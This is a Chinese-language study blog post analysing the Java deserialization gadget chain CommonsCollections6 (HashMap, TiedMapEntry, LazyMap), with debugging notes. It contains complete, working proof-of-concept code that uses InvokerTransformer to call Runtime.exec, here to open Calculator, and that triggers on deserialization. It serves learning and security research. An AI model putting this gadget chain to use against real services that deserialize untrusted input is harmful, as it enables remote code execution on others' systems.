总结
上周花了一周的时间学习commoncollections1,对java的反序列化利用好像有一丝丝的理解了。
暂时的思路就是:首先寻找存在对应方法的类,LazyMap-->get,TransformedMap-->setValue,put
从寻找一个存在readObject方法的类出发,通过寻找其它Object导致最后能触发上面的方法。
问题所在
从commoncollections1的学习发现,这条利用链对jdk版本有限制,高版本的jdk使用不了,具体原因就是在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用,下图为1.7和1.8版本的对比
根据p神解释为:改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。
commoncollections6前置知识
那么commoncollections6利用的是:HashMap,TiedMapEntry,LazyMap
对于我这种不是java出身的学习者来说,对于新见的每一个类都需要学习一下它的功能,那么我首先需要了解一下Entry,这个在之前稍微学习过利用,对Entry的理解就是将key-value结合到一起,组成一个key-value对,
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
public class hahaha {
public static void main(String[] args) {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer("hello")
});
Map lazyMap = LazyMap.decorate(new HashMap(),chainedTransformer);
lazyMap.put(1,1);
lazyMap.put(2,2);
lazyMap.put(3,3);
Iterator iterator = lazyMap.entrySet().iterator();
while (iterator.hasNext()){
Map.Entry entry = (Map.Entry) iterator.next();
System.out.println(entry);
}
System.out.println(lazyMap);
}
}
输出为
那么对TiedMapEntry的构造方法查看,发现传入的是一个Map对象和一个Object对象
但是具体行为我还是不懂,但是看运行结果来说可以发现,LazyMap传入到 TiedMapEntry时,会成功执行ConstantTransformer的内容,如果换成h这个HashMap则会输出null,并且会输出key=value这种形式
commoncollections6 利用分析
我选用的环境是jdk7u80和jdk8u311
这里就是使用jdk8u311进行测试
首先回顾一下URLDNS反序列化的出发点:readObject这个方法中,如果被反序列化的对象中存在readObject方法,那么就会使用invoke执行这个方法,在HashMap中存在readObject方法,且其中存在putVal方法调用了hash方法,且hash方法中调用了hashCode方法,然后寻找一个同样有hashCode方法的并且能够执行恶意方法的类即可。
首先还是构造Transformers以及LazyMap,但这次构造有些不同,最后一部分在说,主要就是为了避免在构造时触发命令执行
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
然后是使用TiedMapEntry进行构造,
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"zyer");
上面对这个应该有一定了解了,那么打印一下会输出 zyer=1
那么我们将这个作为一个hashMap的key,在任意输入一个value
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "zyer ");
最后反射加入真正的Transformers
// 反射加入加入payload ,这样在put时就不会执行
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(hashMap);
// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
ois.readObject();
整体运行一下发现运行不了,我们调试一下顺便了解过程,我们可以知道触发点为hashMap.put方法,在此下断点,然后跟进在发现调用了hashCode方法,然后我们到TiedMapEntry的hashCode方法处下断点
继续跟进发现会将我们传入的map调用get方法,
继续跟进,但是发现刚执行完,继续执行到这条语句结束,我们会发现outerMap中会被加入值
那么如果outerMap中有值的话,那么就不会触发LazyMap中的这个transform并put方法
那么我们需要将outerMap中的值移除即可,那么payload为
package com.zyer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"zyer");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, 1);
outerMap.clear();
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(hashMap);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
ois.readObject();
}
}
构造payload
反射修改transformers学习
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
我们知道ChainedTransformer就是从第一个开始使用for循环执行transform
而在ChainedTransformer中定义的我们输入的Transforms为iTransformers
于是我们可以通过Field来修改iTransformers的值,以便达到在生成payload过程中避免出发payload的情况。